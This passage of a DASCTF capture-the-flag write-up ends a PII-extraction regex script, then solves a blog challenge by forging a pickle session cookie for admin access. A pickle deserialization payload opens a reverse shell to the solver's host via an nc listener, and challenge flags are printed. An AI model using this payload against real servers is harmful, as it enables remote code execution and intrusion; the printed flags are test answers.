p.startswith('0') for p in parts): return False return all(p.isdigit() and 0 <= int(p) <= 255 for p in parts) def is_valid_mac(raw: str) -> bool: """校验MAC地址的有效性。""" # 正则表达式已经非常严格，这里仅做最终确认 return re.fullmatch(r'([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', raw, re.IGNORECASE) is not None # ------------------- 正则表达式定义 ------------------- # 模式的顺序经过精心设计，以减少匹配歧义：优先匹配格式最特殊的。 # 1. MAC地址：格式明确，使用冒号分隔。 mac_pattern = r'(?P<mac>(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})' # 2. IP地址：格式明确，使用点分隔。该正则更精确，避免匹配如 256.1.1.1 的无效IP。 ip_pattern = r'(?P<ip>(?<!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))' # 3. 身份证号：结构为 6-8-4，长度固定，比纯数字的银行卡更具特异性。 sep = r'[\s\-\u00A0\u3000\u2013\u2014]' id_pattern = rf'(?P<id>(?<!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))' # 4. 银行卡号：匹配16-19位的连续数字。这是最通用的长数字模式之一，放在后面匹配。 bankcard_pattern = r'(?P<bankcard>(?<!\d)\d{16,19}(?!\d))' # 5. 手机号：匹配11位数字的特定格式，放在最后以避免错误匹配更长数字串的前缀。 phone_prefix = r'(?:\(\+86\)|\+86\s*)' phone_body = r'(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})' phone_pattern = rf'(?P<phone>(?<!\d)(?:{phone_prefix})?{phone_body}(?!\d))' # 将所有模式编译成一个大的正则表达式 combined_re = re.compile( f'{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}', flags=re.UNICODE | re.IGNORECASE ) # ------------------- 主逻辑 ------------------- def extract_from_text(text: str): """ 使用单一的、组合的正则表达式从文本中查找所有候选者，并逐一校验。 """ results = [] for match in combined_re.finditer(text): kind = match.lastgroup value = match.group(kind) if kind == 'mac': if is_valid_mac(value): if DEBUG: print(f"【接受 mac】: {value}") results.append(('mac', value)) elif DEBUG: print(f"【拒绝 mac】: {value}") elif kind == 'ip': if is_valid_ip(value): if DEBUG: print(f"【接受 ip】: {value}") results.append(('ip', value)) elif DEBUG: print(f"【拒绝 ip】: {value}") elif kind == 'id': is_valid, reason = is_valid_id(value) if is_valid: if DEBUG: print(f"【接受 idcard】: {value}") results.append(('idcard', value)) else: # 降级处理：如果作为身份证校验失败，则尝试作为银行卡校验 digits_only = re.sub(r'\D', '', value) if is_valid_bankcard(digits_only): if DEBUG: print(f"【接受 id->bankcard】: {value}") # 规范要求保留原始格式 results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 id】: {value} (原因: {reason})") elif kind == 'bankcard': if is_valid_bankcard(value): if DEBUG: print(f"【接受 bankcard】: {value}") results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 bankcard】: {value}") elif kind == 'phone': if is_valid_phone(value): if DEBUG: print(f"【接受 phone】: {value}") results.append(('phone', value)) elif DEBUG: print(f"【拒绝 phone】: {value}") return results def main(): """主函数：读取文件，执行提取，写入CSV。""" try: with open(INPUT_FILE, "r", encoding="utf-8", errors="ignore") as f: text = f.read() except FileNotFoundError: print(f"错误: 输入文件 '{INPUT_FILE}' 未找到。请确保该文件存在于脚本运行目录下。") # 创建一个空的data.txt以确保脚本可以运行 with open(INPUT_FILE, "w", encoding="utf-8") as f: f.write("") print(f"已自动创建空的 '{INPUT_FILE}'。请向其中填充需要分析的数据。") text = "" extracted_data = extract_from_text(text) with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile: writer = csv.writer(csvfile) writer.writerow(["category", "value"]) writer.writerows(extracted_data) print(f"分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 '{OUTPUT_FILE}'。") if __name__ == "__main__": main() Execution produces export.csv. Uploading this with accuracy >=98% yields the Flag: DASCTF{34164200333121342836358909307523} ez_blog Opening the webpage revealed a login requirement. Following hints, we successfully logged in as a guest using username guest and password guest. We observed a Cookie containing Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e. AI analysis revealed this was pickle serialization converted to hex. Decoding showed: KappUser)}(idusernameguesis_admin logged_inub.. We modified the content to change username to admin and is_admin to True, resulting in: 8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e. Modifying the request Cookies via BurpSuite successfully granted admin privileges (with article creation rights): This indicated the server deserializes the Token, allowing exploitation of deserialization vulnerabilities. With no echo, we opted for a reverse shell. We crafted the Payload: import pickle import time import binascii import os class Exploit: def __reduce__(self): return (os.system, ('''python3 -c "import os import socket import subprocess s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<Your IP>', 2333)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/sh', '-i'])"''',)) payload = pickle.dumps(Exploit()) hex_token = binascii.hexlify(payload).decode() print(hex_token) print(payload) obj = pickle.loads(payload) Execution produced the Payload: 80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e. After running nc -lvvp 2333 on our server and sending the Payload as the Token, we successfully obtained a shell. The Flag was located in /thisisthefffflllaaaggg.txt: Flag: DASCTF{15485426979172729258466667411440}